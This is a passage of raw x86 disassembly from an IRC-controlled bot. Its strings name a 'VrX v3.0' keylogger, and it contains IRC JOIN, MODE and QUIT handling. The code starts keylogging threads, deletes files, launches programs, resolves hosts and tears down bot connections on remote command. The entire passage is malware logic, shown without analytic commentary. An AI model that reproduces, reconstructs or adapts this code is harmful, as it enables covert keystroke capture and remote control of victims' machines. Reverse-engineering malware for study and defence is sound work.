		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Fh
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	[ebp+var_2098],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_221C]
		push	ebx
		push	eax
		push	offset sub_414F57
		push	ebx
		push	ebx
		call	dword_427084	; CreateThread
		mov	ecx, [ebp+var_2098]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_40876E


loc_408758:				; CODE XREF: sub_401ACD+6C9Fj
		cmp	[ebp+var_208C],	ebx
		jnz	loc_40885A
		push	32h
		call	dword_427080	; Sleep
		jmp	short loc_408758
; ---------------------------------------------------------------------------


loc_40876E:				; CODE XREF: sub_401ACD+6C89j
		call	dword_427094	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42A360
		jmp	loc_40884B
; ---------------------------------------------------------------------------


loc_40877F:				; CODE XREF: sub_401ACD+48EBj
					; sub_401ACD+4902j
		push	7Fh
		lea	eax, [ebp+var_23AC]
		push	edi
		push	eax
		call	sub_41BFD0
		push	7Fh
		lea	eax, [ebp+var_232C]
		push	[ebp+arg_18]
		push	eax
		call	sub_41BFD0
		push	7Fh
		lea	eax, [ebp+var_22AC]
		push	[ebp+var_88]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		mov	esi, [ebp+arg_4]
		add	esp, 24h
		mov	[ebp+var_2228],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_23B0],	esi
		push	[ebp+arg_18]
		mov	[ebp+var_2224],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset dword_42A334
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	11h
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	[ebp+var_222C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_23B0]
		push	ebx
		push	eax
		push	offset sub_414703
		push	ebx
		push	ebx
		call	dword_427084	; CreateThread
		mov	ecx, [ebp+var_222C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_40883F


loc_40882D:				; CODE XREF: sub_401ACD+6D70j
		cmp	[ebp+var_2220],	ebx
		jnz	short loc_40885A
		push	32h
		call	dword_427080	; Sleep
		jmp	short loc_40882D
; ---------------------------------------------------------------------------


loc_40883F:				; CODE XREF: sub_401ACD+6D5Ej
		call	dword_427094	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42A2F8


loc_40884B:				; CODE XREF: sub_401ACD+6CADj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_40885A:				; CODE XREF: sub_401ACD+6C91j
					; sub_401ACD+6D66j
		cmp	[ebp+var_8], ebx
		jnz	loc_403FBE
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	esi
		jmp	loc_403FB6
; ---------------------------------------------------------------------------


loc_40887A:				; CODE XREF: sub_401ACD+48BDj
					; sub_401ACD+48D4j
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A2F0
		push	eax
		call	sub_41C266
		push	edi
		call	sub_41C159
		add	esp, 10h


loc_408897:				; CODE XREF: sub_401ACD+6E31j
		test	eax, eax
		jle	loc_409644
		push	edi
		call	sub_41C159
		cmp	eax, 400h
		pop	ecx
		jge	loc_409644


loc_4088B1:				; CODE XREF: sub_401ACD+789Bj
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_42A2E8
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		push	dword_43E91C[eax]
		call	sub_409823
		jmp	loc_4048F0
; ---------------------------------------------------------------------------


loc_4088DA:				; CODE XREF: sub_401ACD+488Fj
					; sub_401ACD+48A6j
		push	[ebp+esi+var_84]
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_18]
		push	offset dword_42A2DC
		push	eax
		call	sub_41C266
		push	edi
		call	sub_41C159
		add	esp, 14h
		jmp	short loc_408897
; ---------------------------------------------------------------------------


loc_408900:				; CODE XREF: sub_401ACD+4861j
					; sub_401ACD+4878j
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B894
		push	eax
		call	sub_41C266
		push	edi
		call	sub_41C159
		add	esp, 10h
		test	eax, eax
		jle	loc_409644
		push	edi
		call	sub_41C159
		cmp	eax, 400h
		pop	ecx
		jge	loc_409644
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_42A2E8
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		push	dword_43E91C[eax]
		call	sub_409823
		add	esp, 0Ch
		push	[ebp+arg_18]
		push	edi
		push	offset dword_42A2C0


loc_408967:				; CODE XREF: sub_401ACD+6F24j
					; sub_401ACD+6F92j ...
		call	sub_415DAC
		jmp	loc_4048F0
; ---------------------------------------------------------------------------


loc_408971:				; CODE XREF: sub_401ACD+4833j
					; sub_401ACD+484Aj
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_41C2E0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_4089A2
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A2B8
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_4089A2:				; CODE XREF: sub_401ACD+6EBEj
		push	edi
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jle	loc_409644
		push	edi
		call	sub_41C159
		cmp	eax, 400h
		pop	ecx
		jge	loc_409644
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_42A2E8
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		push	dword_43E91C[eax]
		call	sub_409823
		add	esp, 0Ch
		push	esi
		push	edi
		push	offset dword_42A29C
		jmp	loc_408967
; ---------------------------------------------------------------------------


loc_4089F6:				; CODE XREF: sub_401ACD+4805j
					; sub_401ACD+481Cj
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_41C2E0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409644
		push	edi
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jle	loc_409644
		push	edi
		call	sub_41C159
		cmp	eax, 400h
		pop	ecx
		jge	loc_409644
		push	esi
		push	offset dword_42A2E8
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		push	dword_43E91C[eax]
		call	sub_409823
		add	esp, 0Ch
		push	esi
		push	edi
		push	offset dword_42A280
		jmp	loc_408967
; ---------------------------------------------------------------------------


loc_408A64:				; CODE XREF: sub_401ACD+47D7j
					; sub_401ACD+47EEj
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	edi
		push	[ebp+var_C]
		call	sub_41C2E0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409644
		push	esi
		push	offset aModeS	; "MODE	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 0Ch
		push	esi
		push	offset unk_42A258
		jmp	loc_40963D
; ---------------------------------------------------------------------------


loc_408A9E:				; CODE XREF: sub_401ACD+47A9j
					; sub_401ACD+47C0j
		push	[ebp+var_8C]
		push	offset dword_42CCC8
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401F75
		push	[ebp+arg_18]
		push	offset dword_42A24C
		push	[ebp+arg_4]
		call	sub_409823
		push	edi
		call	sub_41C159
		imul	eax, 3E8h
		add	esp, 10h
		push	eax
		call	dword_427080	; Sleep
		push	[ebp+esi+var_84]
		push	[ebp+arg_18]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		push	offset dword_42A238
		call	sub_415D38
		jmp	loc_4034BF
; ---------------------------------------------------------------------------


loc_408B04:				; CODE XREF: sub_401ACD+477Bj
					; sub_401ACD+4792j
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	edi
		call	sub_41B9C0
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_41B9C0
		add	eax, [ebp+var_C]
		push	[ebp+arg_18]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41C2E0
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_409644
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A968
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		push	edi
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 20h
		push	esi
		push	edi
		push	offset unk_42A21C
		jmp	loc_408967
; ---------------------------------------------------------------------------


loc_408B6D:				; CODE XREF: sub_401ACD+474Dj
					; sub_401ACD+4764j
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	edi
		call	sub_41B9C0
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_41B9C0
		add	eax, [ebp+var_C]
		push	[ebp+arg_18]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41C2E0
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_409644
		push	ebx
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h
		push	esi
		push	edi
		push	offset unk_42A200
		jmp	loc_408967
; ---------------------------------------------------------------------------


loc_408BBE:				; CODE XREF: sub_401ACD+471Fj
					; sub_401ACD+4736j
		cmp	[ebp+var_C], ebx
		jz	loc_401F75
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_41C2E0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_401F75
		push	eax
		push	edi
		call	sub_415C40
		pop	ecx
		pop	ecx
		push	edi
		push	offset unk_42A1E4
		jmp	loc_40723F
; ---------------------------------------------------------------------------


loc_408BF0:				; CODE XREF: sub_401ACD+46F1j
					; sub_401ACD+4708j
		push	[ebp+arg_18]
		push	edi
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_418A2E


loc_408C05:				; CODE XREF: sub_401ACD+25ECj
		add	esp, 14h
		jmp	loc_401F75
; ---------------------------------------------------------------------------


loc_408C0D:				; CODE XREF: sub_401ACD+46B1j
					; sub_401ACD+46C8j
		push	edi
		push	[ebp+arg_1C]
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409644
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jz	loc_408CB1
		push	esi
		push	[ebp+var_C]
		call	sub_41C2E0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_408C99
		push	esi
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_88]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_42A430
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41BFD0
		add	esp, 24h
		lea	eax, [ebp+var_2C4]
		push	esi
		push	edi
		push	offset unk_42A1C0
		push	eax
		call	sub_41C266
		add	esp, 10h
		inc	[ebp+arg_24]
		jmp	loc_408699
; ---------------------------------------------------------------------------


loc_408C99:				; CODE XREF: sub_401ACD+7171j
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A190
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	loc_408699
; ---------------------------------------------------------------------------


loc_408CB1:				; CODE XREF: sub_401ACD+715Cj
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_41B243
		add	esp, 0Ch
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h
		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset unk_42A178
		push	200h
		push	eax
		call	sub_41C360
		add	esp, 10h
		jmp	loc_408699
; ---------------------------------------------------------------------------


loc_408CFB:				; CODE XREF: sub_401ACD+4434j
					; sub_401ACD+444Bj
		push	edi
		push	23h
		push	offset aKeylog_0 ; "Keylog"
		push	offset aVrxV3_0SitesKe ; "VrX v3.0 sites keylogger active."


loc_408D08:				; CODE XREF: sub_401ACD+103Cj
					; sub_401ACD+108Fj ...
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B648
		add	esp, 20h
		jmp	loc_401F75
; ---------------------------------------------------------------------------


loc_408D24:				; CODE XREF: sub_401ACD+4406j
					; sub_401ACD+441Dj
		push	23h
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jle	short loc_408D3A
		push	offset aKeylogerAlread ; "Keyloger Already running."
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_408D3A:				; CODE XREF: sub_401ACD+7261j
		mov	eax, [ebp+arg_4]
		push	edi
		mov	[ebp+var_A98], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_A0C], eax
		mov	eax, [ebp+var_8]
		push	offset aWeb	; "web"
		mov	[ebp+var_A08], eax
		mov	[ebp+var_A10], ebx
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408DB9
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_A10], 1
		cmp	esi, ebx
		jnz	short loc_408D9D
		mov	esi, offset aF_0 ; "#f"
		push	offset byte_43DB88
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408D9D
		mov	esi, [ebp+var_88]


loc_408D9D:				; CODE XREF: sub_401ACD+72B2j
					; sub_401ACD+72C8j
		push	esi
		lea	eax, [ebp+var_A90]
		push	80h
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		push	offset aVrxV3_0SitesKe ; "VrX v3.0 sites keylogger active."
		jmp	short loc_408E0F
; ---------------------------------------------------------------------------


loc_408DB9:				; CODE XREF: sub_401ACD+729Dj
		push	edi
		push	offset aNormal_0 ; "normal"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_408E97
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jnz	short loc_408DF5
		mov	esi, offset aF_0 ; "#f"
		push	offset byte_43DB88
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408DF5
		mov	esi, [ebp+var_88]


loc_408DF5:				; CODE XREF: sub_401ACD+730Aj
					; sub_401ACD+7320j
		push	esi
		lea	eax, [ebp+var_A90]
		push	80h
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		push	offset aNormalKeyLogge ; "Normal key logger active."


loc_408E0F:				; CODE XREF: sub_401ACD+72EAj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	ebx
		push	23h
		push	eax
		call	sub_40B3BA
		add	esp, 0Ch
		mov	[ebp+var_A94], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_A98]
		push	ebx
		push	eax
		push	offset sub_4126A7
		push	ebx
		push	ebx
		call	dword_427084	; CreateThread
		mov	ecx, [ebp+var_A94]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_408E7A


loc_408E64:				; CODE XREF: sub_401ACD+73ABj
		cmp	[ebp+var_A04], ebx
		jnz	loc_4081AD
		push	32h
		call	dword_427080	; Sleep
		jmp	short loc_408E64
; ---------------------------------------------------------------------------


loc_408E7A:				; CODE XREF: sub_401ACD+7395j
		call	dword_427094	; RtlGetLastWin32Error
		push	eax
		push	offset aFailedToStartL ; "Failed to start logging thread, error: "...


loc_408E86:				; CODE XREF: sub_401ACD+20F8j
					; sub_401ACD+2E94j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		jmp	loc_4081AA
; ---------------------------------------------------------------------------


loc_408E97:				; CODE XREF: sub_401ACD+72FBj
		push	offset aUnknowModeType ; "Unknow mode type."
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_408EA1:				; CODE XREF: sub_401ACD+4065j
					; sub_401ACD+407Cj
		push	offset aR	; "r"
		push	edi
		call	sub_41BEA2
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_408F0D
		mov	ebx, 200h
		push	esi
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		call	sub_41C52F
		add	esp, 0Ch


loc_408ECA:				; CODE XREF: sub_401ACD+742Cj
		test	eax, eax
		jz	short loc_408EFB
		push	1
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		push	esi
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		call	sub_41C52F
		add	esp, 20h
		jmp	short loc_408ECA
; ---------------------------------------------------------------------------


loc_408EFB:				; CODE XREF: sub_401ACD+73FFj
		push	esi
		call	sub_41BA3B
		pop	ecx
		push	edi
		push	offset unk_42A0A4
		jmp	loc_409091
; ---------------------------------------------------------------------------


loc_408F0D:				; CODE XREF: sub_401ACD+73E5j
		push	edi
		push	offset unk_42A084
		jmp	loc_406BEF
; ---------------------------------------------------------------------------


loc_408F18:				; CODE XREF: sub_401ACD+4037j
					; sub_401ACD+404Ej
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	edi
		push	[ebp+var_C]
		call	sub_41C2E0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409644
		push	offset asc_42A080 ; "\n"
		push	esi
		call	sub_41C8A0
		push	esi
		call	sub_419F9D
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_408F55
		push	offset unk_42A054
		jmp	short loc_408FA2
; ---------------------------------------------------------------------------


loc_408F55:				; CODE XREF: sub_401ACD+747Fj
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A03C
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		jmp	loc_408699
; ---------------------------------------------------------------------------


loc_408F6F:				; CODE XREF: sub_401ACD+4009j
					; sub_401ACD+4020j
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	edi
		push	[ebp+var_C]
		call	sub_41C2E0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_409644
		push	eax
		call	sub_41875E
		test	eax, eax
		pop	ecx
		jnz	short loc_408F9D
		push	offset unk_42A01C
		jmp	short loc_408FA2
; ---------------------------------------------------------------------------


loc_408F9D:				; CODE XREF: sub_401ACD+74C7j
		push	offset dword_42A000


loc_408FA2:				; CODE XREF: sub_401ACD+7486j
					; sub_401ACD+74CEj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	loc_408678
; ---------------------------------------------------------------------------


loc_408FB5:				; CODE XREF: sub_401ACD+3FDBj
					; sub_401ACD+3FF2j
		push	7Fh
		lea	eax, [ebp+var_2084]
		push	edi
		push	eax
		call	sub_41BFD0
		mov	esi, [ebp+esi+var_88]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_408FE4
		push	7Fh
		lea	eax, [ebp+var_2004]
		push	esi
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch


loc_408FE4:				; CODE XREF: sub_401ACD+7503j
		push	7Fh
		lea	eax, [ebp+var_1F84]
		push	[ebp+var_88]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_2088],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1F00],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_1EFC],	eax
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset dword_429FE8
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Ch
		push	eax
		call	sub_40B3BA
		add	esp, 18h
		mov	[ebp+var_1F04],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2088]
		push	ebx
		push	eax
		push	offset sub_41B302
		push	ebx
		push	ebx
		call	dword_427084	; CreateThread
		mov	ecx, [ebp+var_1F04]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_409085


loc_40906F:				; CODE XREF: sub_401ACD+75B6j
		cmp	[ebp+var_1EF8],	ebx
		jnz	loc_406C1F
		push	32h
		call	dword_427080	; Sleep
		jmp	short loc_40906F
; ---------------------------------------------------------------------------


loc_409085:				; CODE XREF: sub_401ACD+75A0j
		call	dword_427094	; RtlGetLastWin32Error
		push	eax
		push	offset unk_429FA8


loc_409091:				; CODE XREF: sub_401ACD+298Bj
					; sub_401ACD+743Bj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		jmp	loc_406C1F
; ---------------------------------------------------------------------------


loc_4090A5:				; CODE XREF: sub_401ACD+3FADj
					; sub_401ACD+3FC4j
		push	ebx
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	edi
		call	sub_41036B
		add	esp, 10h
		push	edi
		push	offset dword_429F90
		jmp	loc_40963D
; ---------------------------------------------------------------------------


loc_4090C3:				; CODE XREF: sub_401ACD+3F7Fj
					; sub_401ACD+3F96j
		push	14h
		lea	eax, [ebp+var_1D4C]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_1D38]
		push	edi
		push	offset aS_2	; "%s"
		push	eax
		call	sub_41C266
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_1D54],	eax
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_1C34]
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_1BAC],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1BA8],	eax
		lea	eax, [ebp+var_1C34]
		push	eax
		lea	eax, [ebp+var_1D38]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_429F6C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Ah
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	[ebp+var_1BB0],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1D54]
		push	ebx
		push	eax
		push	offset sub_4161C1
		push	ebx
		push	ebx
		call	dword_427084	; CreateThread
		mov	ecx, [ebp+var_1BB0]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	loc_4023CA


loc_40918A:				; CODE XREF: sub_401ACD+76D1j
		cmp	[ebp+var_1BA4],	ebx
		jnz	loc_4082DE
		push	32h
		call	dword_427080	; Sleep
		jmp	short loc_40918A
; ---------------------------------------------------------------------------


loc_4091A0:				; CODE XREF: sub_401ACD+3F51j
					; sub_401ACD+3F68j
		push	edi
		call	dword_427088	; DeleteFileA
		test	eax, eax
		jz	short loc_4091C7
		push	edi
		push	offset dword_429F50
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41C360
		jmp	loc_40929A
; ---------------------------------------------------------------------------


loc_4091C7:				; CODE XREF: sub_401ACD+76DCj
		push	offset dword_42A5A8
		call	sub_418699
		pop	ecx
		push	eax
		jmp	loc_403EED
; ---------------------------------------------------------------------------


loc_4091D8:				; CODE XREF: sub_401ACD+3F23j
					; sub_401ACD+3F3Aj
		push	edi
		call	sub_41C159
		push	eax
		call	sub_419F16
		pop	ecx
		pop	ecx
		push	1
		pop	esi
		cmp	eax, esi
		push	edi
		jnz	short loc_4091F5
		push	offset unk_429F2C
		jmp	short loc_4091FA
; ---------------------------------------------------------------------------


loc_4091F5:				; CODE XREF: sub_401ACD+771Fj
		push	offset unk_429EFC


loc_4091FA:				; CODE XREF: sub_401ACD+7726j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	loc_406C22
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h
		jmp	loc_406C22
; ---------------------------------------------------------------------------


loc_409233:				; CODE XREF: sub_401ACD+3EF5j
					; sub_401ACD+3F0Cj
		push	ebx
		push	ebx
		push	edi
		push	[ebp+var_4]
		push	ebx
		push	[ebp+arg_4]
		call	sub_419C09
		add	esp, 18h
		cmp	eax, 1
		push	edi
		jnz	short loc_409255
		push	offset unk_429EDC
		jmp	loc_406BEF
; ---------------------------------------------------------------------------


loc_409255:				; CODE XREF: sub_401ACD+777Cj
		push	offset unk_429EAC
		jmp	loc_406BEF
; ---------------------------------------------------------------------------


loc_40925F:				; CODE XREF: sub_401ACD+3EC7j
					; sub_401ACD+3EDEj
		push	edi
		call	dword_4CBA14	; inet_addr
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_2D8], eax
		jz	short loc_4092A2
		push	2
		lea	eax, [ebp+var_2D8]
		push	4
		push	eax
		call	dword_4CB98C	; gethostbyaddr
		cmp	eax, ebx
		jz	short loc_4092BD
		push	dword ptr [eax]


loc_409288:				; CODE XREF: sub_401ACD+77EEj
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset unk_429E8C
		push	eax
		call	sub_41C266


loc_40929A:				; CODE XREF: sub_401ACD+76F5j
		add	esp, 10h
		jmp	loc_406BFE
; ---------------------------------------------------------------------------


loc_4092A2:				; CODE XREF: sub_401ACD+77A2j
		push	edi
		call	dword_4CBA58	; gethostbyname
		cmp	eax, ebx
		jz	short loc_4092BD
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		push	dword ptr [eax]
		call	dword_4CBA60	; inet_ntoa
		push	eax
		jmp	short loc_409288
; ---------------------------------------------------------------------------


loc_4092BD:				; CODE XREF: sub_401ACD+77B7j
					; sub_401ACD+77DEj
		push	offset unk_429E64
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_4092C7:				; CODE XREF: sub_401ACD+3E99j
					; sub_401ACD+3EB0j
		push	7Fh
		push	edi
		push	[ebp+arg_14]
		call	sub_41BFD0
		add	esp, 0Ch
		push	edi
		push	offset unk_429E40
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_4092E0:				; CODE XREF: sub_401ACD+3E6Bj
					; sub_401ACD+3E82j
		push	5
		push	ebx
		push	ebx
		push	edi
		push	offset aOpen	; "open"
		push	ebx
		call	dword_4CB940
		test	eax, eax
		push	edi
		jz	short loc_409300
		push	offset unk_429E20
		jmp	loc_406BEF
; ---------------------------------------------------------------------------


loc_409300:				; CODE XREF: sub_401ACD+7827j
		push	offset unk_429DFC
		jmp	loc_406BEF
; ---------------------------------------------------------------------------


loc_40930A:				; CODE XREF: sub_401ACD+3E3Dj
					; sub_401ACD+3E54j
		mov	al, [edi]
		mov	byte_429094, al
		movsx	eax, byte ptr [edi]
		push	eax
		push	offset unk_429DD8
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_40931F:				; CODE XREF: sub_401ACD+3E0Fj
					; sub_401ACD+3E26j
		push	edi
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jle	loc_409644
		push	edi
		call	sub_41C159
		cmp	eax, 400h
		pop	ecx
		jge	loc_409644
		push	ebx
		push	ebx
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		call	sub_40AE84
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B894
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		jmp	loc_4088B1
; ---------------------------------------------------------------------------


loc_40936D:				; CODE XREF: sub_401ACD+3DE1j
					; sub_401ACD+3DF8j
		push	edi
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jle	loc_401F75
		push	edi
		call	sub_41C159
		cmp	eax, 400h
		pop	ecx
		jge	loc_401F75
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		push	dword_43E91C[eax]
		call	sub_409823
		pop	ecx
		pop	ecx
		push	1F4h
		call	dword_427080	; Sleep
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		push	dword_43E91C[eax]
		call	dword_4CBA6C	; closesocket
		push	[ebp+var_10]
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		push	dword_43E924[eax]
		call	dword_4270B4	; TerminateThread
		push	edi
		call	sub_41C159
		imul	eax, 234h
		push	edi
		mov	dword_43E924[eax], ebx
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		pop	ecx
		mov	byte ptr dword_43E710[eax], bl
		jmp	loc_401F75
; ---------------------------------------------------------------------------


loc_409418:				; CODE XREF: sub_401ACD+3DB3j
					; sub_401ACD+3DCAj
		push	edi
		push	offset aAll	; "all"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409447
		call	sub_40B583
		cmp	eax, ebx
		jle	short loc_40943D
		push	eax
		push	offset unk_429DAC
		jmp	loc_40723F
; ---------------------------------------------------------------------------


loc_40943D:				; CODE XREF: sub_401ACD+7963j
		push	offset unk_429D84
		jmp	loc_403F8F
; ---------------------------------------------------------------------------


loc_409447:				; CODE XREF: sub_401ACD+795Aj
		mov	eax, [ebp+var_AC]
		lea	edi, [eax+1]
		cmp	edi, 20h
		jnb	loc_401F75
		lea	eax, [ebp+edi*4+var_90]
		mov	[ebp+arg_24], eax


